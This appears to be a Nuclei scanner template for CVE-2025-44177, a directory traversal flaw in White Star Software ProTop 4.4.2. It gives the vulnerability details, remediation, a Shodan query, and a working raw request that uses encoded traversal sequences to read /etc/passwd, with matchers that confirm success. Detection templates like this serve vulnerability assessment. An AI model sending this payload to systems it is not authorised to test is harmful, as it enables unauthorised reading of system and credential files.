id: CVE-2025-44177 info: name: White Star Software ProTop - Directory Traversal author: s-cu-bot severity: high description: | A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences. impact: | Unauthenticated attackers can read arbitrary files from the operating system through encoded traversal sequences in the /pt3upd/ endpoint, potentially exposing sensitive configuration and credential files. remediation: | Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27. reference: - https://nvd.nist.gov/vuln/detail/CVE-2025-44177 - https://client.protop.co.za/ - https://wss.com/ - https://gist.github.com/stSLAYER/4a2ecfbab1215a0be0dde59c4ac0122d classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N cvss-score: 8.2 cve-id: CVE-2025-44177 epss-score: 0.04173 epss-percentile: 0.89867 cwe-id: CWE-22 cpe: cpe:2.3:a:wss:protop:4.4.2-2024-11-27:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: white-star-software product: protop shodan-query: html:"ProTop" tags: cve,cve2025,lfi,traversal,protop,whitestar,vkev,vuln http: - raw: - | GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - 'root:.*:0:0:' - type: word part: header words: - 'application/octet-stream' - 'filename="passwd"' condition: and - type: status status: - 200 # digest: 4a0a004730450220126baa6ff613e8da972e0b257807d7eb35e2c592f9fc21be97092e81e9c2460a022100d37b7ce0149b3af8bd3dfa2ae4489212ad88b56417719cf1955211eb4251e157:922c64590222798bb761d5b6d8e72950